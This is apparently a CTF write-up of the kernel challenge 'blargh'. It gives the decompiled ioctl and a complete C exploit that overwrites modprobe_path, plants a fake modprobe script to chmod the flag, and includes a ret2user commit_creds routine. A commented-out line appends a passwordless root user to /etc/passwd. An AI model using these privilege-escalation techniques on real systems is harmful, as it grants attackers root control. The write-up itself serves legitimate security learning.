tsune Help

2025-9

Challenge information

  • CTF: smiley CTF 2025

  • Challenge: blargh

  • Solves: N/A

  • Description: N/A

  • Time-wasting to solve: 30 min

Writeup

Kernel pwn always give me a lot of fun.

Hmm, function blargh_ioctl was quite simple.

__int64 __fastcall blargh_ioctl(__int64 a1, int a2, __int64 a3) { unsigned __int64 v3; // rax unsigned __int64 v4; // rax if ( a2 != 1074292513 || !writes ) return -1; v3 = __readcr0(); __writecr0(v3 ^ 0x10000); *((_BYTE *)&printk + a3) = 0; v4 = __readcr0(); __writecr0(v4 ^ 0x10000); writes = 0; return 0; }

So, we have one time arbitrary address write primitive.

Looks overwriting modprobe_path simply is the most influential strategy...

As a result, it works... 😄

#define _GNU_SOURCE #include <assert.h> #include <errno.h> #include <fcntl.h> #include <sched.h> #include <stdlib.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <poll.h> #include <sys/mman.h> #include <sys/socket.h> #include <sys/prctl.h> #include <sys/types.h> #include <sys/wait.h> #include <sys/ioctl.h> #include <sys/ipc.h> #include <sys/msg.h> #include <unistd.h> #define COLOR_ENABLE 0 #define COLOR_RESET "\033[0m" #define COLOR_RED "\033[0;31m" #define COLOR_GREEN "\033[0;32m" #define COLOR_YELLOW "\033[0;33m" #define COLOR_BLUE "\033[0;34m" #define COLOR_MAGENTA "\033[0;35m" #define COLOR_CYAN "\033[0;36m" #define info(fmt, ...) \ if (COLOR_ENABLE) { \ printf(COLOR_BLUE "[*] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \ } else { \ printf("[*] " fmt "\n", ##__VA_ARGS__); \ } #define success(fmt, ...) \ if (COLOR_ENABLE) { \ printf(COLOR_GREEN "[+] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \ } else { \ printf("[+] " fmt "\n", ##__VA_ARGS__); \ } #define error(fmt, ...) \ if (COLOR_ENABLE) { \ printf(COLOR_RED "[-] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \ } else { \ printf("[-] " fmt "\n", ##__VA_ARGS__); \ } #define warning(fmt, ...) \ if (COLOR_ENABLE) { \ printf(COLOR_YELLOW "[!] " fmt COLOR_RESET "\n", ##__VA_ARGS__); \ } else { \ printf("[!] " fmt "\n", ##__VA_ARGS__); \ } #define rep(X,Y) for (int X = 0;X < (Y);++X) #define irep(X) for (int X = 0;;++X) #define rrep(X,Y) for (int X = int(Y)-1;X >=0;--X) /* https://github.com/gmo-ierae/ierae-ctf/blob/main/2024/pwn/free2free/solution/exploit.c */ #define SYSCHK(x) ({ \ typeof(x) __res = (x); \ if (__res == (typeof(x))-1) { \ error("%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ exit(1); \ } \ __res; \ }) /* common data */ #define PROC_NAME "NKTIDKSG" //#define MODPROBE_SCRIPT "#!/bin/sh\necho pwn::0:0:root:/root:/bin/sh>>/etc/passwd\n" #define MODPROBE_SCRIPT "#!/bin/sh\n/bin/chmod 777 /flag.txt\n" #define MODPROBE_FAKE "/s" unsigned long cs; unsigned long ss; unsigned long rsp; unsigned long rflags; //linux-6.14.2 unsigned long commit_creds = 0xffffffff812a1050; unsigned long init_cred = 0xffffffff81e3bfa0; unsigned long kbase = 0xffffffff81000000; void shell() { puts("[*] shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; SYSCHK(execve("/bin/sh", argv, envp)); } static void ret2user(unsigned long rip) { asm volatile ("swapgs\n"); asm volatile( "movq %0, 0x20(%%rsp)\t\n" "movq %1, 0x18(%%rsp)\t\n" "movq %2, 0x10(%%rsp)\t\n" "movq %3, 0x08(%%rsp)\t\n" "movq %4, 0x00(%%rsp)\t\n" "iretq" : : "r"(ss), "r"(rsp), "r"(rflags), "r"(cs), "r"(rip)); } void lpe() { void (*cc)(char *) = (void *)commit_creds; (*cc)((void *)init_cred); ret2user((unsigned long)shell); } static void refuge() { asm volatile ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r"(cs), "=r"(ss), "=r"(rsp), "=r"(rflags) : : "memory"); } void dump_memory(char *buf, int size) { char *p = buf; for (int i = 0; i < size; i += 0x10) { printf("0x%06x |", i); printf(" 0x%016lx ", *(unsigned long *)(p + i)); printf(" 0x%016lx ", *(unsigned long *)(p + i + 8)); printf("\n"); } } void xxd(char *buf, int size) { char *p = buf; for (int i = 0; i < size; i += 0x10) { printf("0x%06x |", i); for (int j = 0; j < 0x10; j++) { printf(" %02x", *(unsigned char *)(p+i+j)); } printf(" |"); for (int j = 0; j < 0x10; j++) { if (*(unsigned char *)(p+i+j) < 0x20 || *(unsigned char *)(p+i+j) > 0x7e) { printf("."); } else { printf("%c", *(unsigned char *)(p + i + j)); } } printf("|\n"); } } void init_modprobe() { int exp_fd = SYSCHK(open(MODPROBE_FAKE, O_RDWR | O_CREAT, 0777)); SYSCHK(write(exp_fd, MODPROBE_SCRIPT, strlen(MODPROBE_SCRIPT))); SYSCHK(close(exp_fd)); } void exec_modprobe() { info("exec modprobe"); socket(38, SOCK_SEQPACKET, 0); char *su_argv[] = {"su", "-", "pwn",NULL}; SYSCHK(execve("/bin/su", su_argv, NULL)); shell(); } void exec_modprobe_old() { #define TRIG "/tmp/TDN810" int trigger = SYSCHK(open(TRIG, O_RDWR | O_CREAT, 0777)); SYSCHK(write(trigger, "\xdd\xdd", 2)); SYSCHK(close(trigger)); execve(TRIG, NULL, NULL); char *su_argv[] = {"su", "-", "pwn",NULL}; SYSCHK(execve("/bin/su", su_argv, NULL)); shell(); } #define NUM_CORES 0 void init_proc() { SYSCHK(prctl(PR_SET_NAME, PROC_NAME, 0, 0, 0)); cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(NUM_CORES, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); } #define CMD_IOCTL 1074292513 #define DEVICE_NAME "/dev/blargh" int main(void) { //ffffffff81340f00 T __request_module init_modprobe(); int victim = SYSCHK(open(DEVICE_NAME, O_RDONLY)); info("victim fd: %d", victim); unsigned long printk = 0xffffffff81303260; unsigned long modprobe = 0xffffffff82b45b20; unsigned long target = modprobe+2; unsigned long diff = target - printk; ioctl(victim, CMD_IOCTL, diff); exec_modprobe(); } /* -serial tcp:127.0.0.1:9999,server,nowait \ -gdb tcp::12345 \ */
Last modified: 21 November 2025